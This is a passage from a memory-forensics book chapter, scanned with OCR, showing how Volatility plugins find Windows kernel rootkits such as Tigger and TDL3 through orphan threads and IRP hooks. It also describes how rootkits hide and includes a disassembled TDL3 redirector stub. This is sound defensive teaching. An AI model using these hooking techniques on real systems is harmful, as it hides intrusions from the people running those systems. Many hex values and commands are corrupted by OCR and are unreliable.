The tep criteria matched two modules, tcpip.sys and tcpipreg. sys.

$ python vol.py -f memory.dmp
--profile=Win7SP1x64 moddump
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--regex=tcp --ignore-case
- -dump-dir=OUTDIR/

Volatility Foundation Volatility Framework 2.4

Module Base Module Name Result
0xffff£880018d3000 tcpip.sys OK: driver.fffff880018d3000.sys
0xffff£88002a3c000 tcpipreg.sys OK: driver.fffff88002a3c000.sys

Although the regular expression search is convenient, remember that there are occa-
sions when you'll have no name upon which to deploy a search (for example, if the meta-
data structures are overwritten or if you've found a PE header in an anonymous kernel
pool allocation). In these cases, you can supply the base address (where you see the MZ
signature) and moddump will perform the extraction. The following example assumes that
a PE file exists at oxf££££88003800000:

$ python vol.py -f memory.dmp

--profile=Win7SP1x64 moddump

--base=0xff£££88003800000
- -dump-dir=OUTDIR/

Volatility Foundation Volatility Framework 2.4
Module Base Module Name Result

Oxfff££88003800000 UNKNOWN OK: driver.fffff88003800000.sys

If you plan to load the extracted module into IDA Pro for static analysis, remember
one thing: the ImageBase address in the PE header needs to be changed to match its real
load address in kernel memory. In other words, you should use oxf££££88003800000 for
the last example shown. Here’s how you can do it using the pefile Python module from
https://code.google.com/p/pefile

$ python

Python 2.7.6 (v2.7.6:3aldb0d2747e, Nov 10 2013, 00:42:54)

[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin

Type "help", "copyright", "credits" or "license" for more information.

>>> import pefile

>>> pe = pefile.PE("driver.Oxf££££88003800000.sys", fast load = True)

>>> pe.OPTIONAL_ HEADER.ImageBase = Oxffff££88003800000

>>> pe.write("driver.0xf£f£££88003800000.sys")
>>> quit()

This simple fix gives IDA Pro the additional context it needs to properly display rela-
tive function calls, jumps, and string references. Depending on the state of the binary’s
import address table, you may also need to use Volatility’s impscan plugin to generate
labels that you can apply to the IDA database. You'll see an example of using impscan later
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in the chapter (also see “Recipe 16-8: Scanning for Imported Functions with ImpScan” in
the Malware Analyst’s Cookbook).

Threads in Kernel Mode

When kernel modules create new threads with pscreatesystemThread, the system process
(PID 4 on XP and later) becomes the owner of the thread. In other words, the system pro-
cess is the default home for threads that start in kernel mode. You can explore this fact
with Process Explorer and see that the starting addresses for threads owned by the system
process are offsets into kernel modules such as acp1.sys and HTTP. sys (see Figure 13-3).

M System:4 Properties @gj
TCR{IP Security Environment Strings

Tmage Performance Performance Graph Threads

Count: 58

TID CPU  CSwitch Delta Start Address -~

96 ACPLgps+0u10b10

104 drmio. syz+0xadle

are hardiack. sys+0523758

2068 HTTP sys+0x30030

2082 HTTP syee 32910 The threads. all start
2088 HTTR sy 03230 in kernel drivers.
2080 HT TP, sys+ 032910

2064 HTTF. sys+0w329f0

212 mrday. sys+0x21 558 &%

< ?
Start Time: nja
State: Ready Base Priority: i
Kernel Time: 0:00:02.875 Dynamic Priority: 0 A
Uset Time: 0:00:00.000 No time spent
Cankext Switches: 3,917 in user mode

permissions | [ kil || suspend |

Figure 13-3: Threads that start in kernel mode are owned by the System process.

When parsing through a memory dump, you can distinguish these system threads
from others based on the following factors:

The ETHREAD.SystemThread value is 1.

The ETHREAD.CrossThreadFlags member has the Ps CROSS THREAD FLAGS SYSTEM
flag set.

The owning process is PID 4.

This information can help you find malware families, such as Mebroot and Tigger,
that attempt to hide their presence in the kernel. When the rootkit modules initially
load, they allocate a pool of kernel memory, copy executable code to the pool, and call
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PsCreateSystemThread to begin executing the new code block. After the thread is created,
the module can unload. These actions help the rootkit remain stealthy because it survives
based on threads running from untagged pools of memory. However, this creates a rather
obvious artifact for forensics because you have a thread with a starting address pointing
to an unknown area of kernel memory, in which no known module exists.

Tigger’s Kernel Threads

Figure 13-4 shows the threads owned by the system process of a machine infected with
Tigger. You can see the presence of four new threads that did not exist in Figure 13-3.
Process Explorer just shows the thread’s start address instead of the normal format, such
as driverName.sys+0xabcd, because the start address does not fall within the memory

range of any loaded modules.

M System:4 Properties

TCR{IP Security Environment Strings

Image Performance Performance Graph Threads
Count: 62

TID CPU| CSwichDela  Stant Address ~

1528 9| DxbleScadb

1584 9| Oxb1e3d5de Four new threads
200 9| Oxblede150

1316 3 | tbl=3e353 with no known driver
96 ACPsys+0x10610

104 dmio.sys+0xa91e

72 hardlock. e+ 0429758

2068 HTTP.sps+ 030030

2052 HTTP. sps+0329(0 %

< b
Thread [0: 8 Module
Start Time: nja
State: Ready Base Priority: [
Kernel Time: o:n0:04.171 Drynamic Priority: 0
User Time: 0:00:00,000
Context Switches: 4,767

permissions | [ kil || suspend |
Cancel

Figure 13-4: Process Explorer shows four new threads with no known kernel module.

Detecting Orphan Threads

The threads plugin can help you identify attempts to hide in the described manner. It
enumerates loaded modules by walking the doubly linked list and records their base
addresses and sizes. Then it scans for system threads and checks whether the _ETHREAD
.StartAddress value is within the range of one of the modules. If the plugin cannot pair
a thread with its owning driver, it assumes that the thread is detached or hidden. For
this reason, the threads have also become known as orphan threads. The following output
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shows how orphan threads appear in memory dumps. You'll see the orphanThread tag
displayed as well as an unxnown to the right of the starting address (0xf2edd150).

S python vol.py -f orphan.vmem threads -F OrphanThread
--profile=WinXPSP3x86
[snip]

ETHREAD: O0xff1f92b0 Pid: 4 Tid: 1648
Tags: OrphanThread, SystemThread
Created: 2010-08-15 19:26:13
Exited: 1970-01-01 00:00:00
Owning Process: System
Attached Process: System
State: Waiting:DelayExecution
BasePriority: 0x8
Priority: 0x8
TEB: 0x00000000
StartAddress: 0xf2edd150 UNKNOWN
ServiceTable: 0x80552180

[0] 0x80501030

[1] 0x00000000

[2] 0x00000000

[3] 0x00000000
Win32Thread: 0x00000000
CrossThreadFlags: PS _CROSS THREAD FLAGS SYSTEM

If you suspect a kernel rootkit exists on the system you're investigating, but you can’t
find supporting evidence with the modules or modscan plugins, we recommend checking
for orphan threads. However, keep in mind that the thread’s starting address will point at
a function inside the malicious PE file, rather than at the PE file’s base address. Thus, you
may need to do some calculation to find the MZ signature. Near the end of the chapter,
you'll see a volshell script that can scan backward from a given address to find the first
valid PE header.

WARNING

Rootkits can easily bypass the orphan thread detection technique by patching the
_ETHREAD. StartAddress values to point at a known driver. In their VB2008 presentation
(http://www.virusbtn.com/pdf/conference_slides/2008/Kasslin—Florio—VB2008.pdf»
Kimmo Kasslin and Elia Floria noted that the third generation of Mebroot started
applying these patches to increase its stealth.
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Driver Objects and IRPs

Typically, when a kernel module loads, in addition to the creation of a KLDR_DATA_TABLE
_ENTRY structure, a corresponding DRIVER_OBJECT is also initialized. This is important
because the driver object contains critical information about its kernel module, such as a
copy of the module’s base address, its unload routine, and pointers to the list of handler
functions. This information can help you locate malicious modules when the metadata
structures described thus far in the chapter are unlinked or corrupted. Furthermore, by
finding the driver objects, you can check for hooks in the handler routines.

To provide a little more background, applications in Windows communicate with driv-
ers by sending I/O Request Packets (IRPs). An IRP is a data structure that includes an integer
to identify the desired operation (create, read, write, and so on) and buffers for any data
to be read or written by the driver. Each driver object has a table of 28 function pointers
that it can register to handle the different operations. The driver usually configures this
table, known as the major function table or IRP function table, in its entry point routine
right after being loaded. The following output shows that the table of 28 pointers, named
MajorFunction, is part of every driver object:

>>> dt ("_DRIVER OBJECT")
'_DRIVER_OBJECT' (336 bytes)

0x0 : Type ['short']

0x2 : Size ["short']

0x8 : DeviceObject ['pointer64', [' DEVICE OBJECT']]

0x10 : Flags ["unsigned long']

0x18 : DriverStart ['pointer64', ['void']]

0x20 : DriverSize ['unsigned long']

0x28 : DriverSection ['pointer64', ['void']]

0x30 : DriverExtension ['pointer64', [' DRIVER EXTENSION']]

0x38 : DriverName [' UNICODE STRING‘]

0x48 : HardwareDatabase ['pointer64', [' UNICODE STRING']]

0x50 : FastIoDispatch ['pointer64', [' FAST IO DISPATCH']]

0x58 : DriverInit ['pointer64', ['void']]

0x60 : DriverStartIo ['pointer64', ['void']]

0x68 : DriverUnload ['pointer64', ['void']]

0x70 : MajorFunction [tarray', 28, ['pointer64', ['void'l]]
Key Points

Your key points are these:

DeviceObject: A pointer to the first device created by the driver. If a driver creates

more than one device, they’re associated with a linked list. For example, the TCP/

IP driver creates devices named RawIp, Udp, Tcp, and Ip.
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DriverStart: A copy of the kernel module’s base address.

Driversize: The size, in bytes, of the kernel module described by the driver object.
DriverExtension: Points to a structure with a servicekeyName member, which tells
you the path within the registry that stores this driver’s configuration.
pDriverName: This is the name of the driver object, such as \priver\Tcpip or
\Driver\HTTP

DriverInit: A pointer to the driver’s initialization routine.

DriverUnload: A pointer to the function that executes when the driver unloads,
typically for freeing resources created by the driver.

MajorFunction: The array of 28 major function pointers. By overwriting an index
in this array, rootkits can hook certain operations.

Scanning for Driver Objects
The Volatility driverscan command finds driver objects by pool tag scanning. Here’s an
example of its output:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 driverscan
Volatility Foundation Volatility Framework 2.4

Offset (P) Start Size Service Key Driver Name
0x000000000038ac80 Oxfff£f£88003bd9000 0xf000 mouclass \Driver\mouclass
0x00000000254eaa80 Oxfffff88000e00000 0x15000 volmgr \Driver\volmgr
0x00000000254eae40 Oxffff£f88000fba000 0xd000 vdrvroot \Driver\vdrvroot
0x000000003e0£1060 O0xfff£f£8800323c000 0x20000 BthPan \Driver\BthPan
0x000000003e416060 0xfffff880023e7000 0x18000 rspndr \Driver\rspndr
0x000000003e474e70 Oxffff£f8800364c000 0x2d000 mrxsmb \FileSystem\mrxsmb
0x000000003e4765d0 Oxfffff8800284d000 0x24000 mrxsmb20 \FileSystem\mrxsmb2
[snip]

The physical offset of the _DRIVER_oBJECT structure displays in the far-left column.
Then you see the starting address of the driver in kernel memory in the start column.
To give you an idea of how this can be useful, the address you see for \Driver\mouclass
should match the base address for mouclass. sys shown by the modules or modscan plugins.
Thus, if malware hides or erases the KLDR_DATA TABLE_ENTRY, there’s stilla DRIVER OBJECT
with just as much (if not more) information on which modules are loaded on a system.

Hooking and Hook Detection

Rootkits can hook entries in a driver’s IRP function table. For example, by overwriting
the 1rp_mMJ_wrITE function in a driver’s IRP table, a rootkit can inspect the buffer of data
to be written across the network, to disk, or even to a printer. Another commonly seen
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example is hooking IRP_MJ_DEVICE_CONTROL fOr tcpip.sys. When you use netstat . exe or
SysInternals Tcpview.exe on a live system, it determines active connections and sockets
using this communication channel. Thus, by hooking it, rootkits can easily hide network
activity.

To detect IRP function hooks, you just need to find the DRIVER_OBJECT structures in
memory, read the 28 values in the MajorFunction array, and determine where they point.
Although it is all automated by the driverirp plugin, as you'll soon see, it doesn't defini-
tively tell you which entries are hooked; it still requires some analysis and interpretation
on your part. That’s because there are legitimate cases in which a driver will forward its
handler to another driver, causing the appearance of a hook.

Here’s an example of the driverirp plugin’s output for the Tcpip driver on a clean
64-bit system:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 driverirp -r tcpip
Volatility Foundation Volatility Framework 2.4

DriverName: Tcpip

DriverStart: 0xfffff880016bb000
DriverSize: 0x204000
DriverStartIo: 0x0

0 IRP_MJ CREATE 0xfff£f£f880017a1070 tcpip.sys

1 IRP_MJ_CREATE_NAMED_PIPE 0xfffff800028b81d4 ntoskrnl.exe
2 IRP_MJ_CLOSE Oxfff££880017a1070 tcpip.sys

3 IRP_MJ READ 0xff£f£f£800028b81d4 ntoskrnl.exe
4 IRP _MJ WRITE Oxff£££800028b81d4 ntoskrnl.exe
5 IRP_MJ QUERY INFORMATION O0xff£££800028b81d4 ntoskrnl.exe
6 IRP_MJ SET INFORMATION 0xff£f£f£800028b81d4 ntoskrnl.exe
7 IRP_MJ_QUERY_EA 0xfffff800028b81d4 ntoskrnl.exe
8 IRP_MJ_SET_EA 0xf£f£ff£800028b81d4 ntoskrnl.exe
9 IRP_MJ_FLUSH_ BUFFERS Oxff£f£f£800028b81d4 ntoskrnl.exe
10 IRP MJ QUERY VOLUME INFORMATION O0xff£f££800028b81d4 ntoskrnl.exe
11 IRP _MJ SET VOLUME_ INFORMATION 0xfff££800028b81d4 ntoskrnl.exe
12 IRP_MJ_DIRECTORY_CONTROL 0xfffffg800028b81d4 ntoskrnl.exe
13 IRP_MJ_FILE_SYSTEM CONTROL 0xfffff800028b81d4 ntoskrnl.exe
14 IRP MJ_DEVICE_ CONTROL 0xff££ff880016dafd0 tcpip.sys

15 IRP MJ INTERNAL DEVICE CONTROL 0xfffff880017a1070 tcpip.sys

[snip]

The Tcpip driver starts at oxf££££880016bb000 and occupies 0x20400 bytes. Most
of its handlers either point at a function within tcpip.sys (self-handled opera-
tions) or at another module (forwarded operations). Rather than leaving the pointers
zero/null, if a driver doesn’t intend to handle certain operations, it points the IRP at
nt ! IopInvalidDeviceRequest, which is just a dummy function in the NT module that
acts as a fall-through (like a default case in a C switch statement).

383
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Here’s an example of a 32-bit XP machine in which the Tcpip driver’s IRP_MJ_DEVICE
_CONTROL routine has actually been hooked:

S python vol.py -f hooker.bin --profile=WinXPSP3x86 driverirp -r tcpip
Volatility Foundation Volatility Framework 2.4

DriverName: Tcpip
DriverStart: 0xb2ef3000
DriverSize: 0x58480
DriverStartIo: 0x0

0 IRP_MJ CREATE 0xb2ef94f9 tcpip.sys
1 IRP_MJ CREATE NAMED PIPE 0xb2ef94£9 tcpip.sys
[snip]
12 IRP MJ DIRECTORY CONTROL 0xb2ef94£f9 tcpip.sys
13 IRP_MJ FILE_SYSTEM CONTROL 0xb2ef94f9 tcpip.sys
14 IRP_MJ DEVICE CONTROL 0x£8b615d0 url.sys
15 IRP_MJ_INTERNAL_DEVICE CONTROL 0xb2ef9718 tcpip.sys
16 IRP_MJ_ SHUTDOWN 0xb2ef94f9 tcpip.sys
[snip]

Notice that the handler points at a function inside url.sys, which is not a normal
system driver. In this case, you could dump url.sys from memory and reverse-engineer
it to figure exactly what network sockets and connections it’s attempting to filter on the
live machine.

Stealthy Hooks

TDL3 is an example of a rootkit that defeats the common method of IRP hooks detec-
tion. In the following output, all the IRP handlers for vmscsi.sys lead to a function that
at first glance appears to indicate that there is no forwarding or hooking for the request.
In particular, they all point to oxf9dbscbd, which is within the range of the vmscsi.sys
driver’s memory.

$ python vol.py -f tdl3.vmem driverirp -r vmscsi
--profile=WinXPSP3x86

Volatility Foundation Volatility Framework 2.4

DriverName: vmscsi

DriverStart: 0x£9db8000

DriverSize: 0x2c00

DriverStartIo: 0xf97ea40e

0 IRP_MJ CREATE 0xf9db9cbd vmscsi.sys
1 IRP_MJ CREATE NAMED PIPE 0xf9db9cbd vmscsi.sys
2 IRP_MJ_ CLOSE 0xf9db9cbd vmscsi.sys
3 IRP_MJ READ 0xf9db9cbd vmscsi.sys
4 IRP_MJ_WRITE 0xf9db9cbd vmscsi.sys
5 IRP MJ QUERY INFORMATION 0xf9db9cbd vmscsi.sys
6 IRP_MJ SET INFORMATION 0xf9db9cbd vmscsi.sys



7 IRP_MJ QUERY EA
8 IRP_MJ SET EA
[snip]
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0xf9db9cbd vmscsi.sys
0xf9db9cbd vmscsi.sys

Consider the diagram in Figure 13-5, which illustrates how the TDL3 rootkit can still
gain control over all operations intended for the vmscsi.sys driver.

(A) No Rootkit

Driver Dispatch Table

IRP_MJ_CREATE

IRP_MJ_READ
IRP_MJ_WRITE

> MyCreate()

> MyRead()

(B) Normal Rootkit

Driver Dispatch Table

(C) TDL3 Rootkit

IRP_MJ_CREATE

IRP_MJ_READ
IRP_MJ_WRITE

Driver Dispatch Table

IRP_MJ_CREATE

IRP_MJ_READ

> MyCreate()

> MyRead()

IRP_MJ_WRITE

MyCreate()

MyRead()
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Figure 13-5: TDL3 evades IRP hook detection by using a redirector stub inside the victim driver.

The diagram shows that normal rootkits overwrite IRP table entries and point them
outside of the owning driver’s memory. TDL3, on the other hand, writes a small code block
in the memory of the owning driver (vmscsi. sys in this case), which it uses as a launch-
ing point to jump to the rootkit code. In this scenario, the IRP functions still point inside
vmscsi.sys, making it very difficult to determine if the driver has been compromised.
By using the - -verbose flag to driverirp or by using the volshell plugin to disassemble
the handler function, you'll see that it just contains the following:

0x£9db9cbd al0803dfff
0x£9db9cc2 ££a0£c000000

MOV EAX, [0xffdf0308]
JMP DWORD [EAX+0xfc]

0x£f9db9cc8 0000 ADD [EAX], AL
0xf9db9cca 0000 ADD [EAX], AL
0xf9db9ccc 0000 ADD [EAX], AL
0xf9db9cce 0000 ADD [EAX], AL

The first instruction dereferences a pointer at oxf£df0308. Then the CPU is redirected
via a JmMp instruction to an address that’s located at offset oxrc from the pointer in Eax.
You can easily follow these hops in volshell as shown here:

>>> dd (0x£f£fdf0308, length=4)
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££df0308 817ef908

>>> dd(0x817ef908 + O0xFC, length=4)
817efal04 81926e31l

>>> dis(0x81926e31)

0x81926e31 55 PUSH EBP

0x81926e32 8bec MOV EBP, ESP
0x81926e34 8b450c MOV EAX, [EBP+0xc]
0x81926e37 8b4d08 MOV ECX, [EBP+0x8]
0x81926e3a 83ecOc SUB ESP, 0xc
0x81926e3d 53 PUSH EBX

0x81926e3e 8b5860 MOV EBX, [EAX+0x60]
0x81926e41 al0803dfff MOV EAX, [0xffdf0308]
0x81926e46 3b4808 CMP ECX, [EAX+0x8]
[snip]

At this point, you know the rootkit’s real code occupies the area around o0x81926e31.
Regardless of how the rootkit hides, remember that it always has to remain functional.
This one’s functionality involved hooking IRPs, and by following the hooks, you were
taken straight to the body of the malicious module.

High Value Targets

There are hundreds of drivers on a typical system, so you cannot possibly analyze all
28 major function pointers for each driver, especially if theyre using stealthy hooking tech-
niques. Our recommendation is that you focus on the highest-value targets. For example,
attackers will be interested in the 1rp_mMJ_READ and 1rP_MJ_WRITE of file system drivers.
Additionally, they’ll be interested in the 1rp_MJ_DEVICE coNTROL for networking drivers
such as \Driver\Tcpip, \Driver\NDIS, and \Driver\HTTP.

Device Trees

Windows uses a layered (or stacked) architecture for handling 1/O requests. In other words,
multiple drivers can handle the same IRP. This layered approach has its advantages—it per-
mits transparent file system archiving and encryption (such as EFS), as well as the capability
for firewall products to filter network connections. However, it also provides yet another
way for a malicious driver to interact with data that it shouldn’t be accessing. For example,
instead of hooking a target driver’s IRP function, as previously described, a rootkit can just
insert, or attach, to the target device’s stack. In this manner, the rootkit’s driver receives a
copy of the IRP, which it can log or modify before the legitimate driver receives it.

Figure 13-6 shows a simplified diagram of how a rootkit can exploit the layered driver
architecture. The point is that the malicious driver takes a position in the stack so that it
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can “inspect” the requested operation regardless of where the request originates. In this
case, it attached to the ATA driver